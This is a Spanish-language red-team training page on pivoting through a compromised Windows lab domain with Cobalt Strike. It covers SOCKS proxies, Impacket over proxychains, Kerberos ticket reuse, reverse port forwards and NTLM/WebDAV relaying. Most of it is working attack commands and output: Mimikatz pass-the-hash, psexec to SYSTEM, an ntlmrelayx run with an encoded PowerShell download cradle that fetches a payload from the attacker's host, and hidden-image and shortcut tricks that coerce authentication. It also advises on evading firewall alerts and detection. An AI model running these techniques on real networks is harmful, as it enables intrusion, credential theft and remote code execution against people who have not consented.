Saltar a contenido

Pivoting

SOCKS Proxies

Un proxy SOCKS (abreviatura de Socket Secure) intercambia paquetes de red entre un cliente y un servidor. Una implementación común de un servidor proxy se encuentra en los proxies web, donde un navegador se conecta al proxy, que retransmite las solicitudes al sitio web de destino y luego las devuelve al navegador (realizando filtrado, etc., en el camino). Podemos usar esta idea en una aplicación ofensiva convirtiendo nuestro servidor C2 en un proxy SOCKS para tunelizar herramientas externas en una red interna.

Esto es particularmente útil cuando queremos aprovechar conjuntos de herramientas como Impacket. Windows no tiene una capacidad nativa para ejecutar Python, por lo que poder ejecutarlos en nuestro propio sistema y tunelizar el tráfico a través de Beacon puede expandir nuestro arsenal de herramientas disponibles. También ofrece ventajas adicionales en OPSEC, ya que no estamos cargando herramientas ofensivas en el objetivo ni ejecutando código en un endpoint comprometido, lo que puede reducir nuestra huella para la detección.

Cobalt Strike tiene tanto un proxy SOCKS4a como SOCKS5. La principal diferencia entre ellos es que solo SOCKS5 admite autenticación y tiene algunas capacidades adicionales de registro.

Usa el comando socks en el Beacon que quieres que actúe como punto de pivote.

Para iniciar un proxy SOCKS4a simplemente ejecuta:

beacon> socks 1080

Para SOCKS5:

beacon> socks 1080 socks5 disableNoAuth myUser myPassword enableLogging

Info

La opción enableLogging envía registros adicionales (como fallos de autenticación) a la consola de la VM, que desafortunadamente no puedes ver fácilmente cuando el servidor de equipo está ejecutándose como un servicio. En su lugar, puedes usar journalctl:

ubuntu teamserver[687]: [*] SOCKS5 (18): ********** Constructing Socks5Command **********
ubuntu teamserver[687]: [*] SOCKS5 (18): Greeting: NoAuth Authentication offered: 0
ubuntu teamserver[687]: [*] SOCKS5 (18): Greeting: UserPwd Authentication offered: 2
ubuntu teamserver[687]: [*] SOCKS5 (18): sendChosenAuthentication: Chosen Authentication Type: 2
ubuntu teamserver[687]: [*] SOCKS5 (18): verifyUserPwd: Verifying User/Password Authentication
ubuntu teamserver[687]: [*] SOCKS5 (18): verifyUserPwd: Verifying user:
ubuntu teamserver[687]: [-] SOCKS5 (18): Invalid login attempt from user:
ubuntu teamserver[687]: [-] SOCKS (18): Socks Error

Ahora verás el puerto 1080 vinculado en la VM del servidor de equipo.

attacker@ubuntu ~> sudo ss -lpnt
State    Recv-Q   Send-Q     Local Address:Port        Peer Address:Port   Process
LISTEN   0        128                    *:1080                   *:*       users:(("TeamServerImage",pid=687,fd=13))

OPSEC

Dado que esto está vinculado en todas las interfaces, cualquier dispositivo que tenga acceso a la red hacia la VM del servidor de equipo podría, en teoría, interactuar con el tráfico SOCKS. Aunque esto no debería ser el caso, el uso de SOCKS5 proporciona una capa adicional de protección.

La velocidad a la que se transfiere la información a través del proxy está determinada por el tiempo de espera del Beacon que ejecutó el comando socks. Para establecer el Beacon en un estado interactivo, usa sleep 0. En la mayoría de los casos, esto es un equilibrio entre calidad de vida y sigilo. Cuanto más frecuentemente tu Beacon hable con el servidor de equipo, más ruido hará en la red. Sin embargo, algunas herramientas pueden agotar el tiempo de espera y fallar con tiempos de espera largos, por lo que depende de ti encontrar un equilibrio.


Linux Tools

proxychains es una herramienta que actúa como un envoltorio alrededor de otras aplicaciones para tunelizar su tráfico a través de un proxy SOCKS. Primero, necesitamos modificar su archivo de configuración para apuntar a nuestro proxy SOCKS de Cobalt Strike.

attacker@ubuntu ~> sudo vim /etc/proxychains.conf

Al final del archivo, verás una entrada predeterminada para SOCKS4: socks4 127.0.0.1 9050. Necesitamos cambiar esto para que coincida con la configuración del proxy que iniciamos en Beacon.

  • SOCKS4: socks4 127.0.0.1 1080

O

  • SOCKS5: socks5 127.0.0.1 1080 myUser myPassword

Para tunelizar una herramienta a través de proxychains, es tan simple como proxychains [tool] [tool args]. Por ejemplo, para tunelizar nmap, sería:

attacker@ubuntu ~> proxychains nmap -n -Pn -sT -p445,3389,4444,5985 10.10.122.10
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-05 13:31 UTC
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:3389-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>>-10.10.122.10:4444-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:5985-<><>>-OK
Nmap scan report for 10.10.122.10
Host is up (0.061s latency).

PORT     STATE  SERVICE
445/tcp  open   microsoft-ds
3389/tcp open   ms-wbt-server
4444/tcp closed krb524
5985/tcp open   wsman

Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds

Hay algunas restricciones en el tipo de tráfico que puede ser tunelizado, por lo que debes hacer ajustes con tus herramientas según sea necesario. Las exploraciones ICMP y SYN no pueden ser tunelizadas, por lo que debemos deshabilitar el descubrimiento por ping (-Pn) y especificar exploraciones TCP (-sT) para que esto funcione.

También puedes ejecutar herramientas desde dentro de WSL en Windows.

ubuntu@DESKTOP-3BSK7NO ~ > proxychains wmiexec.py DEV/jking@10.10.122.30
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
[*] SMBv3.0 dialect used
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:135-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:49667-<><>-OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
dev\jking

C:\>hostname
web

Proxychains Demo


Windows Tools

También podemos tunelizar tráfico desde nuestra máquina Windows usando una utilidad de software llamada Proxifier. Para crear una nueva entrada de proxy, ve a Profile > Proxy Servers. Haz clic en Add e ingresa los detalles relevantes.

Cuando se te pregunte si deseas usar este proxy por defecto, selecciona No. Pero selecciona Yes cuando se te pida ir a las Proxification Rules. Aquí, le indicamos a Proxifier qué aplicaciones deben usar el proxy y bajo qué condiciones.

Haz clic en Add para crear una nueva regla y usa lo siguiente:

  • Name: Tools
  • Applications: Any
  • Target hosts: 10.10.120.0/24;10.10.122.0/23
  • Target ports: Any
  • Action: Proxy SOCKS5 10.10.5.50

Para habilitar la autenticación a través del proxy, una aplicación debe lanzarse como un usuario del dominio objetivo. Esto se puede lograr usando runas /netonly o Mimikatz.

Usemos Active Directory Users and Computers (ADUC) como ejemplo. El archivo responsable de lanzar ADUC es dsa.msc, que en realidad es solo un complemento para mmc.exe. Abre un Command Prompt como administrador local, luego lanza mmc.exe a través de runas.

PS C:\Users\Attacker> runas /netonly /user:DEV\bfarmer mmc.exe
Enter the password for DEV\bfarmer:
Attempting to start mmc.exe as user "DEV\bfarmer" ...

Ve a File > Add/Remove Snap-in (o Ctrl + M como atajo), agrega el complemento ADUC, luego haz clic en OK. Haz clic derecho en el complemento, selecciona Change Domain, ingresa dev.cyberbotic.io y haz clic en OK. Verás que Proxifier comienza a capturar y retransmitir tráfico mientras ADUC carga el contenido. Puedes continuar explorando los usuarios, computadoras, etc.

Para lograr lo mismo con Mimikatz:

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /domain:DEV /user:bfarmer /ntlm:4ea24377a53e67e78b2bd853974420fc /run:mmc.exe

También se pueden utilizar cmdlets de PowerShell que admitan objetos de credenciales.

PS C:\Users\Attacker> $cred = Get-Credential
PS C:\Users\Attacker> Get-ADComputer -Server 10.10.122.10 -Filter * -Credential $cred | select DNSHostName

DNSHostName
-----------
dc-2.dev.cyberbotic.io
fs.dev.cyberbotic.io
wkstn-2.dev.cyberbotic.io
web.dev.cyberbotic.io
sql-2.dev.cyberbotic.io
wkstn-1.dev.cyberbotic.io

Proxifier Demo


Pivoting with Kerberos

En los ejemplos anteriores, utilizamos tanto credenciales en texto plano (con Impacket y runas /netonly) como NTLM (con Mimikatz) para autenticarnos en recursos a través del proxy SOCKS. Sin embargo, también es posible utilizar tickets de Kerberos. Usar Impacket a través de proxychains es una forma popular de hacerlo.

Primero, usemos getTGT.py para solicitar un TGT para jking con su hash AES256.

ubuntu@DESKTOP-3BSK7NO ~> proxychains getTGT.py -dc-ip 10.10.122.10 -aesKey 4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 dev.cyberbotic.io/jking
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[*] Saving ticket in jking.ccache

Info

Nota: Debes usar el nombre de dominio completamente calificado, dev.cyberbotic.io en lugar del nombre NetBIOS, DEV.

Esto generará automáticamente el ticket en formato ccache, que puede ser usado con otros scripts de Impacket. Sin embargo, primero debemos crear una variable de entorno llamada KRB5CCNAME que apuntará al archivo ccache.

ubuntu@DESKTOP-3BSK7NO ~> export KRB5CCNAME=jking.ccache

Ahora podemos usar psexec.py para obtener un shell SYSTEM en WEB.

ubuntu@DESKTOP-3BSK7NO ~> proxychains psexec.py -dc-ip 10.10.122.10 -target-ip 10.10.122.30 -no-pass -k dev.cyberbotic.io/jking@web.dev.cyberbotic.io
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[*] Requesting shares on 10.10.122.30.....
[*] Found writable share ADMIN$
[*] Uploading file rzBHyscR.exe
[*] Opening SVCManager on 10.10.122.30.....
[*] Creating service msin on 10.10.122.30.....
[*] Starting service msin.....
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[!] Press help for extra shell commands
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname && whoami
web
nt authority\system

C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.122.30.....
[*] Stopping service msin.....
[*] Removing service msin.....
[*] Removing file rzBHyscR.exe.....

Si tienes un ticket en formato kirbi obtenido con otra herramienta, este puede ser convertido al formato ccache para ser usado con Impacket. Por ejemplo, aquí estoy usando el truco de delegación de TGT para obtener un TGT utilizable para bfarmer desde una sesión no elevada.

beacon> getuid
[*] You are DEV\bfarmer

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe tgtdeleg /nowrap

[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: QPQjXYnE0c8tkwjNuTFxaNArevF+TosSgYJ/kQcrShw=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFzj[...snip...]MuSU8=

Decodifica en Base64 el ticket y guárdalo en bfarmer.kirbi.

ubuntu@DESKTOP-3BSK7NO ~> echo -en 'doIFzj[...snip...]MuSU8=' | base64 -d > bfarmer.kirbi

Luego, conviértelo usando ticketConverter.py.

ubuntu@DESKTOP-3BSK7NO ~> ticketConverter.py bfarmer.kirbi bfarmer.ccache
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] converting kirbi to ccache...
[+] done

Info

Esta herramienta también puede convertir de ccache a kirbi.

Ahora usemos este TGT para interactuar con el servicio SQL-2.

ubuntu@DESKTOP-3BSK7NO ~> proxychains mssqlclient.py -dc-ip 10.10.122.10 -no-pass -k dev.cyberbotic.io/bfarmer@sql-2.dev.cyberbotic.io
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.25:1433-<><>-OK
[*] Encryption required, switching to TLS
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-2): Line 1: Changed database context to 'master'.
[*] INFO(SQL-2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL> select @@servername;

--------------------------------------------------------------------------------------------------------------------------------

SQL-2

Info

Esto puede requerir agregar una entrada estática de host en /etc/hosts y cambiar la configuración proxy_dns en /etc/proxychains.conf a remote_dns.

Los tickets de Kerberos también pueden aprovecharse desde la máquina atacante con Windows. El primer paso es agregar *.cyberbotic.io a tus reglas de Proxifier. Esto se debe a que Kerberos utiliza nombres de host en lugar de direcciones IP, y Proxifier no hará proxy del tráfico de Kerberos a menos que los dominios estén explícitamente configurados en las reglas.

A continuación, inicia una instancia de cmd.exe o powershell.exe usando runas /netonly con un nombre de usuario de dominio válido, pero con una contraseña falsa.

PS C:\Users\Attacker> runas /netonly /user:dev.cyberbotic.io\bfarmer powershell.exe
Enter the password for dev.cyberbotic.io\bfarmer: FakePass
Attempting to start powershell.exe as user "dev.cyberbotic.io\bfarmer" ...

El proceso generado no tendrá tickets de Kerberos en su caché.

PS C:\Windows\system32> klist

Current LogonId is 0:0x260072

Cached Tickets: (0)

Este método de pivoting prefiere la presencia anticipada de los tickets de servicio correctos, en lugar de depender de un solo TGT en la caché. Si queremos acceder al servicio SQL-2 a través de HeidiSQL, entonces necesitamos un ticket de servicio para el servicio MSSQLSvc. Usemos el TGT de bfarmer para hacerlo (sí, solicitar tickets a través del proxy también funciona).

PS C:\Windows\system32> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /ticket:doIFzj[...snip...]MuSU8= /service:MSSQLSvc/sql-2.dev.cyberbotic.io:1433 /dc:dc-2.dev.cyberbotic.io /ptt

[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'MSSQLSvc/sql-2.dev.cyberbotic.io:1433'
[*] Using domain controller: dc-2.dev.cyberbotic.io (127.95.0.2)
[+] TGS request successful!
[+] Ticket successfully imported!

PS C:\Windows\system32> klist

Current LogonId is 0:0x260072

Cached Tickets: (1)

#0>     Client: bfarmer @ DEV.CYBERBOTIC.IO
        Server: MSSQLSvc/sql-2.dev.cyberbotic.io:1433 @ DEV.CYBERBOTIC.IO
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 10/11/2023 14:23:52 (local)
        End Time:   10/11/2023 19:22:58 (local)
        Renew Time: 10/18/2023 9:22:58 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called:

Lanza HeidiSQL desde la misma ventana de powershell.

PS C:\Windows\system32> C:\Tools\HeidiSQL\heidisql.exe

Establece el nombre de host objetivo a sql-2.dev.cyberbotic.io y conéctate.


Browsers

Firefox junto con la extensión FoxyProxy es ideal para pivotar un navegador dentro de la red y ver aplicaciones web internas. Simplemente agrega una nueva entrada en FoxyProxy que apunte al proxy SOCKS de Beacon.

Luego, navega al servidor web interno, 10.10.122.30.

También puedes realizar autenticación NTLM siguiendo los pasos descritos en este post.


Reverse Port Forwards

Reverse Port Forwarding permite que una máquina redirija el tráfico entrante en un puerto específico a otra IP y puerto. Una implementación útil de esto permite a las máquinas eludir firewalls y otras restricciones de segmentación de red, para comunicarse con nodos con los que normalmente no podrían hacerlo. Por ejemplo, podemos usar la consola de Domain Controller 2 para demostrar que no tiene acceso saliente a nuestro team server.

PS C:\Users\Administrator> hostname
dc-2

PS C:\Users\Administrator> iwr -Uri http://nickelviper.com/a
iwr : Unable to connect to the remote server

Sabemos, por supuesto, que Workstation 2 sí tiene acceso, por lo que podemos crear un reverse port forward para retransmitir el tráfico entre Domain Controller 2 y nuestro team server.

[+] started reverse port forward on 8080 to 127.0.0.1:80

Esto enlazará el puerto 8080 en Workstation 2.

beacon> run netstat -anp tcp
TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING

Cualquier tráfico que llegue a este puerto será encapsulado de regreso al team server a través del canal C2. El team server luego retransmitirá el tráfico al host/puerto de destino, y enviará la respuesta de vuelta a través de Beacon. Ahora, podemos descargar el archivo a través de este port forward.

PS C:\Users\Administrator> iwr -Uri http://wkstn-2:8080/a

StatusCode        : 200

OPSEC

Cuando el firewall de Windows está habilitado, alertará al usuario cuando una aplicación intente escuchar en un puerto que no esté explícitamente permitido. Permitir el acceso requiere privilegios de administrador local y hacer clic en cancelar creará una regla de bloqueo explícita.

Por lo tanto, debes crear una regla de permiso antes de ejecutar un reverse port forward utilizando ya sea netsh o New-NetFirewallRule, ya que agregar y eliminar reglas no genera una alerta visible.

beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

No seas perezoso deshabilitando completamente el firewall.

Puedes eliminar una regla del firewall más tarde por su DisplayName.

beacon> powershell Remove-NetFirewallRule -DisplayName "8080-In"

NTLM Relaying

La autenticación NTLM utiliza un handshake de 3 vías entre un cliente y un servidor. Los pasos generales son los siguientes:

  1. El cliente realiza una solicitud de autenticación a un servidor para un recurso al que desea acceder.
  2. El servidor envía un reto al cliente; el cliente necesita cifrar el reto usando el hash de su contraseña.
  3. El cliente envía la respuesta cifrada al servidor, el cual contacta a un domain controller para verificar que el reto cifrado sea correcto.

En un ataque de NTLM relay, un atacante puede interceptar o capturar este tráfico de autenticación, lo que efectivamente les permite hacerse pasar por el cliente contra el mismo servicio u otro servicio diferente. Por ejemplo, un cliente intenta conectarse al Servicio A, pero el atacante intercepta el tráfico de autenticación y lo utiliza para conectarse al Servicio B como si fuera el cliente.

Info

Windows Server 2022 habilita "Network Server: Digitally sign communications (always)" como activado por defecto, haciendo que este tipo de ataque no sea viable.

Durante una prueba de penetración on-premise, realizar NTLM relaying con herramientas como Responder y ntlmrelayx es bastante trivial. Sin embargo, es una historia diferente con este tipo de evaluación red team, especialmente porque generalmente no podemos ejecutar herramientas de Python en Windows. El puerto 445 siempre está vinculado y en uso por Windows; incluso los administradores locales no pueden redirigir arbitrariamente el tráfico vinculado a este puerto ni vincular otra herramienta a este puerto.

Todavía es posible hacerlo con Cobalt Strike, pero requiere el uso de múltiples capacidades simultáneamente.

  1. Un driver para redirigir el tráfico destinado al puerto 445 a otro puerto (por ejemplo, 8445) al que podamos vincularnos.
  2. Un reverse port forward en el puerto al que se está redirigiendo el tráfico SMB. Esto tunelará el tráfico SMB a través del canal C2 hacia nuestro Team Server.
  3. La herramienta elegida (ntlmrelayx) estará escuchando el tráfico SMB en el Team Server.
  4. Un SOCKS proxy para permitir que ntlmrelayx envíe tráfico de regreso a la red objetivo.

El flujo se ve algo así:

Primero, asegúrate de que todos los requisitos previos estén en su lugar antes de lanzar el ataque real. Obtén un beacon SYSTEM en la máquina donde capturarás el tráfico SMB.

A continuación, permite esos puertos entrantes en el firewall de Windows.

beacon> powershell New-NetFirewallRule -DisplayName "8445-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8445
beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

Luego, inicia dos reverse port forwards: uno para la captura SMB y otro para un PowerShell download cradle.

beacon> rportfwd 8445 localhost 445
[+] started reverse port forward on 8445 to localhost:445

beacon> rportfwd 8080 localhost 80
[+] started reverse port forward on 8080 to localhost:80

La parte final de la configuración es iniciar un SOCKS proxy que ntlmrelayx pueda usar para enviar respuestas relay de vuelta a la red.

beacon> socks 1080
[+] started SOCKS4a server on: 1080

Ahora podemos iniciar ntlmrelayx.py escuchando conexiones entrantes en el Team Server. El parámetro -c nos permite ejecutar un comando arbitrario en el objetivo después de que la autenticación haya tenido éxito.

attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t smb://10.10.122.10 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAyADMALgAxADAAMgA6ADgAMAA4ADAALwBiACIAKQA='
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

Where:

  • 10.10.122.10 es la dirección IP de dc-2.dev.cyberbotic.io, que es nuestro objetivo.
  • El comando codificado es un download cradle apuntando a http://10.10.123.102:8080/b, y /b es un payload SMB.

PortBender es un DLL reflectivo y un aggressor script diseñado específicamente para facilitar el relaying a través de Cobalt Strike. Requiere que el driver esté ubicado en el directorio de trabajo actual del Beacon. Tiene sentido usar C:\Windows\System32\drivers ya que es donde van la mayoría de los drivers de Windows.

beacon> cd C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys

Luego ve a Cobalt Strike > Script Manager y carga PortBender.cna desde C:\Tools\PortBender - esto agrega un nuevo comando PortBender a la consola.

beacon> help PortBender
Redirect Usage: PortBender redirect FakeDstPort RedirectedPort
Backdoor Usage: PortBender backdoor FakeDstPort RedirectedPort Password
Examples:
    PortBender redirect 445 8445
    PortBender backdoor 443 3389 praetorian.antihacker

Ejecuta PortBender para redirigir el tráfico desde el puerto 445 al puerto 8445.

beacon> PortBender redirect 445 8445
[+] Launching PortBender module using reflective DLL injection
Initializing PortBender in redirector mode
Configuring redirection of connections targeting 445/TCP to 8445/TCP

Esto prácticamente rompe cualquier servicio SMB legítimo en la máquina.

Para desencadenar el ataque, necesitamos obligar a un usuario o una máquina a realizar un intento de autenticación en Workstation 2. Hagámoslo manualmente por ahora, usando la consola de Workstation 1 como el usuario nlamb. Este usuario es un administrador de dominio, por lo que podemos retransmitir la solicitud de autenticación al domain controller.

C:\Users\nlamb>hostname
wkstn-1

C:\Users\nlamb>dir \\10.10.123.102\relayme

Deberías ver que PortBender registra la conexión y ntlmrelayx entrará en acción.

[*] SMBD-Thread-3: Received connection from 127.0.0.1, attacking target smb://10.10.122.10
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:445-<><>-OK
[*] Authenticating against smb://10.10.122.10 as DEV/NLAMB SUCCEED
[*] Executed specified command on host: 10.10.122.10

ntlmrelayx informa que el comando fue ejecutado - podemos verificar el web log para confirmar que recibimos un hit.

09/05 13:34:16 visit (port 80) from: 127.0.0.1
    Request: GET /b
    page Scripted Web Delivery (powershell)
    null

Todo lo que queda es enlazar al Beacon.

beacon> link dc-2.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.10

Para detener PortBender, detén el job y mata el proceso generado.

beacon> jobs
[*] Jobs

 JID  PID   Description
 ---  ---   -----------
 2    5740  PortBender

beacon> jobkill 2
beacon> kill 5740

OPSEC

Uno de los principales indicadores de esta actividad es el evento de carga del driver para WinDivert. Puedes encontrar cargas de drivers en Kibana usando la búsqueda guardada "Loaded Drivers".

Puedes encontrar cargas de drivers en Kibana usando Sysmon Event ID 6. Aunque el driver WinDivert tiene una firma válida, ver una carga de driver única en solo una máquina es un evento anómalo.

event.module: sysmon and event.code: 6 and not file.code_signature.subject_name: "Amazon Web Services, Inc."

Forcing NTLM Authentication

En el mundo real, es poco probable que puedas simplemente acceder a la consola de una máquina como un usuario privilegiado y autenticarte en tu servidor SMB malicioso. Por supuesto, puedes simplemente esperar a que ocurra un evento aleatorio o intentar hacer ingeniería social con un usuario privilegiado. Sin embargo, también hay muchas técnicas para "forzar" a los usuarios a desencadenar intentos de autenticación NTLM en tu endpoint sin que se den cuenta.

Aquí tienes algunas posibilidades.

1x1 Images in Emails

Si tienes control sobre una bandeja de entrada, puedes enviar correos electrónicos que tengan una imagen invisible de 1x1 incrustada en el cuerpo. Cuando los destinatarios vean el correo electrónico en su cliente de correo, como Outlook, intentará descargar la imagen a través de la ruta UNC y desencadenará un intento de autenticación NTLM.

<img src="\\10.10.123.102\test.ico" height="1" width="1" />

Un medio más sigiloso podría ser modificar la firma de correo electrónico del remitente, de modo que incluso los correos electrónicos legítimos que envíen desencadenen autenticación NTLM de cada destinatario que los lea.

Windows Shortcuts

Un acceso directo en Windows puede tener múltiples propiedades, incluyendo un destino, un directorio de trabajo y un ícono. Crear un acceso directo con la propiedad del ícono apuntando a una ruta UNC activará un intento de autenticación NTLM cuando se visualice en Explorer (ni siquiera necesita ser clickeado). Una buena ubicación para estos accesos directos es en comparticiones con permisos de solo lectura públicas.

La forma más fácil de crear un acceso directo es con PowerShell.

$wsh = new-object -ComObject wscript.shell
$shortcut = $wsh.CreateShortcut("\\dc-2\software\test.lnk")
$shortcut.IconLocation = "\\10.10.123.102\test.ico"
$shortcut.Save()

Remote Authentication Triggers

Herramientas como SpoolSample, SharpSystemTriggers y PetitPotam pueden forzar a una computadora a autenticarse con nosotros. Generalmente, estas herramientas funcionan a través de protocolos Microsoft RPC, como MS-RPRN y MS-EFS.


NTLM Relaying Demo


Relaying WebDAV

Web Distributed Authoring y Versioning (aka WebDAV) es una extensión que permite operaciones básicas de archivos (crear/copiar/mover/eliminar) sobre el protocolo HTTP. Windows admite el uso de WebDAV a través de Explorer, donde los usuarios pueden ingresar un URI o asignar una unidad a un servidor WebDAV. El servicio WebClient facilita la capacidad de Explorer para usar WebDAV. Este está configurado como DEMAND_START por defecto, por lo que generalmente solo se ejecuta si un usuario ha utilizado activamente un recurso WebDAV. Algunas tecnologías de Windows, como SharePoint, utilizan WebDAV con bastante frecuencia.

C:\Users\bfarmer>sc qc WebClient
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WebClient
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k LocalService -p
        LOAD_ORDER_GROUP   : NetworkProvider
        TAG                : 0
        DISPLAY_NAME       : WebClient
        DEPENDENCIES       : MRxDAV
        SERVICE_START_NAME : NT AUTHORITY\LocalService

Como fue descubierto por Lee Christensen, el servicio WebClient expone un named pipe llamado DAV RPC SERVICE, lo que hace relativamente fácil enumerar objetivos remotos para establecer si el servicio WebClient está en ejecución o no. El repositorio GetWebDAVStatus de Dave Cossa proporciona proyectos en C# y BOF que verifican la presencia de este named pipe.

beacon> inline-execute C:\Tools\GetWebDAVStatus\GetWebDAVStatus_BOF\GetWebDAVStatus_x64.o wkstn-1,wkstn-2
[+] WebClient service is active on wkstn-1
[x] Unable to hit DAV pipe on wkstn-2, system is either unreachable or does not have WebClient service running

Este resultado muestra que el servicio está en ejecución en WKSTN-1, lo que lo convierte en un objetivo viable para este ataque. Los pasos consisten en forzar al servicio a autenticarse en un servidor WebDAV malicioso que controlamos y luego retransmitir la autenticación. Un aspecto interesante de este ataque es que podemos forzar la autenticación a través de cualquier puerto, por lo que no necesitamos preocuparnos por necesitar PortBender (sé que están celebrando). Todo lo que necesitamos asegurar es que el puerto que elijamos esté permitido como entrada en el firewall del host desde donde estamos haciendo reverse port forwarding.

El material de autenticación entrante será el de la cuenta de la máquina. ntlmrelayx puede retransmitir esto a LDAP en un controlador de dominio para abusar de RBCD (usando el flag --delegate-access) o de shadow creds (usando el flag --shadow-credentials). En cualquier caso, asegúrate de ejecutar el servidor HTTP en un puerto que no entre en conflicto con ninguno de tus listeners HTTP. En este ejemplo, se utilizó el puerto 8888.

attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t ldaps://10.10.122.10 --delegate-access -smb2support --http-port 8888
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 8888
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

